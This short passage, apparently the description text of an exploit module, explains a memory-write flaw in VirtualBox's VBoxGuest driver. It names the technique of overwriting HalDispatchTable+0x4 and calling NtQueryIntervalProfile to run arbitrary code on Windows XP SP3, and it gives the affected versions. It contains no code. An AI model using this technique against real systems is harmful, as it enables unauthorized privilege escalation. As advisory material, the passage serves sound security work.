        A vulnerability within the VBoxGuest driver allows an attacker to inject memory they
        control into an arbitrary location they define. This can be used by an attacker to
        overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
        NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest
        Additions up to 4.3.10r93012.
